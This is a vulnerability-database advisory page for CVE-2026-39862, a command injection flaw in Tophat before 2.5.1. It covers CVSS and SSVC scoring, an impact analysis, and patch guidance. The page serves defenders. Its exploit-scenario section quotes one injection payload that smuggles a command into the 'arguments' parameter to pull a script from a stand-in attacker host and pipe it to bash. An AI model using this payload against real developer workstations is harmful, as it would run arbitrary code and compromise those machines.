Skip to main content

Tophat EUVDEUVD-2026-20613

| CVE-2026-39862 MEDIUM
OS Command Injection (CWE-78)
2026-04-08 security-advisories@github.com
6.3
CVSS 4.0 · Vendor: github
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 4.0 score of 6.3 reflects a medium-severity vulnerability with network attack vector and low complexity, but requiring authenticated privileges (PR:L). However, the real-world risk is substantially elevated due to multiple factors: the attack surface is local (localhost:29070) and accessible to any developer process on the same workstation, which contradicts the 'authenticated' severity assumption in typical threat models. The vulnerability requires no user interaction (UI:N) and delivers high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H). EPSS data is not provided, but the exploit characteristics-no complexity, direct command injection, execution under user privileges-suggest high exploitability. The absence of KEV status and no explicit POC reference in input data indicates this may be a recently disclosed or relatively low-profile vulnerability. From an SSVC perspective, exploitation is straightforward (automatable via URL crafting), technical impact is complete system compromise at the user level, and the affected population (developers with Tophat) is specific but potentially wide in development organizations. The primary risk mitigation is the availability of a patched version (2.5.1), which reduces urgency but increases the priority of rapid deployment in development environments.

Exploit ScenarioDerived

An attacker with network access to a developer's macOS workstation (or the ability to compromise a process on the same system) crafts a malicious tophat:// URL or sends an HTTP request to http://localhost:29070 with a crafted 'arguments' query parameter containing shell metacharacters and arbitrary commands (e.g., 'arguments=; curl http://attacker.com/malware.sh | bash'). When Tophat processes this URL-either via user interaction with a link, programmatic invocation from a compromised build tool, or cross-application scheme activation-the unsanitized parameter is directly concatenated into a bash command string, executing the attacker's payload under the developer's user privileges. No public exploit code has been identified at the time of analysis, though the simplicity of URL-based command injection makes proof-of-concept development trivial.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Remote code execution in Tophat mobile testing harness prior to 2.5.1 allows authenticated network attackers to execute arbitrary commands on a developer's macOS workstation via unsanitized URL query parameters passed directly to bash. The vulnerability affects any developer with Tophat installed, with commands executing under the user's permissions and no confirmation dialog for previously trusted build hosts. This was fixed in version 2.5.1.

RemediationAI

Vendor-released patch: Tophat 2.5.1. Developers must immediately upgrade from any version prior to 2.5.1 to the patched release. The patch addresses the unsanitized URL argument parsing by implementing proper input validation and escaping before passing arguments to shell execution. No workarounds are documented or recommended as a substitute for upgrading. Verify the upgrade by checking the installed version via Tophat's version command or system package manager, and restart any dependent build processes. For additional context and technical details, consult the GitHub security advisory at https://github.com/Shopify/tophat/security/advisories/GHSA-8x8g-6rv5-mgg2 and the upstream fix at https://github.com/Shopify/tophat/pull/139.

Affected VersionsENISA

tophat < 2.5.1

Affected Packages

euvd tophat fix: 2.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Tophat is a mobile application testing harness for macOS that processes custom URL schemes (tophat://) and localhost HTTP requests (http://localhost:29070). The vulnerability stems from insufficient input validation on the 'arguments' query parameter, which flows unsanitized through URL parsing directly into a /bin/bash -c command execution context. This represents a classic command injection vulnerability (CWE-78) where attacker-controlled input is concatenated into shell command strings without proper escaping or sanitization. The localhost listener on port 29070 creates a local attack surface accessible to any process on the macOS system, while the custom URL scheme handler allows cross-application invocation. The lack of confirmation dialogs for previously trusted build hosts eliminates a potential user-interaction barrier that might otherwise mitigate exploitation.

Know when Tophat gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 6.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Apr 16, 2026 - 05:29 EUVD
2.5.1
CVE Published
Apr 08, 2026 - 20:16 nvd
MEDIUM 6.3

DescriptionCVE.org

Tophat is a mobile applications testing harness. Prior to 2.5.1, Tophat is affected by remote code execution via crafted tophat:// or http://localhost:29070 URLs. The arguments query parameter flows unsanitized from URL parsing through to /bin/bash -c execution, allowing an attacker to execute arbitrary commands on a developer's macOS workstation. Any developer with Tophat installed is vulnerable. For previously trusted build hosts, no confirmation dialog appears. Attacker commands run with the user's permissions. This vulnerability is fixed in 2.5.1.

Threat Intelligence Overview

EPSS Score
0.5%
Top 36% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Tophat

View all
CVE-2026-71379 CRITICAL
10.0 Sep 29

Toptech Systems TMS7 and TopHat expose a file export endpoint that lets any network-reachable, unauthenticated attacker

CVE-2026-70356 CRITICAL
9.4 Sep 29

Arbitrary PHP file upload and execution is possible in Toptech Systems TMS7 and TopHat version 7.6.3, because the TMS fi

CVE-2026-72507 HIGH
8.5 Sep 29

Time-based blind SQL injection in Toptech Systems TMS7 and TopHat lets an authenticated, high-privilege operator inject

CVE-2026-68068 HIGH
8.5 Sep 29

Time-based blind SQL injection in Toptech Systems TMS7 and TopHat terminal management software lets an authenticated hig

CVE-2026-68954 HIGH
8.5 Sep 29

Time-based blind SQL injection in the home-page search function of Toptech Systems' TMS7 terminal management application

CVE-2026-63713 HIGH
8.5 Sep 29

Time-based blind SQL injection in the 'search' parameter of the view-audit-logs feature (utilities section) of Toptech S

CVE-2026-72510 HIGH
8.5 Sep 29

Time-based blind SQL injection in the business allocation search feature of Toptech Systems TMS7 and TopHat 7.6.3 and ea

CVE-2026-71302 HIGH
7.5 Sep 29

Session fixation (CWE-384) in Toptech Systems TMS7 and TopHat terminal management platforms allows an attacker to seed a

CVE-2026-71189 MEDIUM
4.8 Sep 29

Cross-site scripting (CWE-79) in Toptech Systems' TMS7 terminal management platform (and the related TopHat product) all

CVE-2026-69662 LOW
2.1 Sep 29

Authenticated attackers positioned on the adjacent network can abuse unsafe inline-script and string-evaluation (eval-cl

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy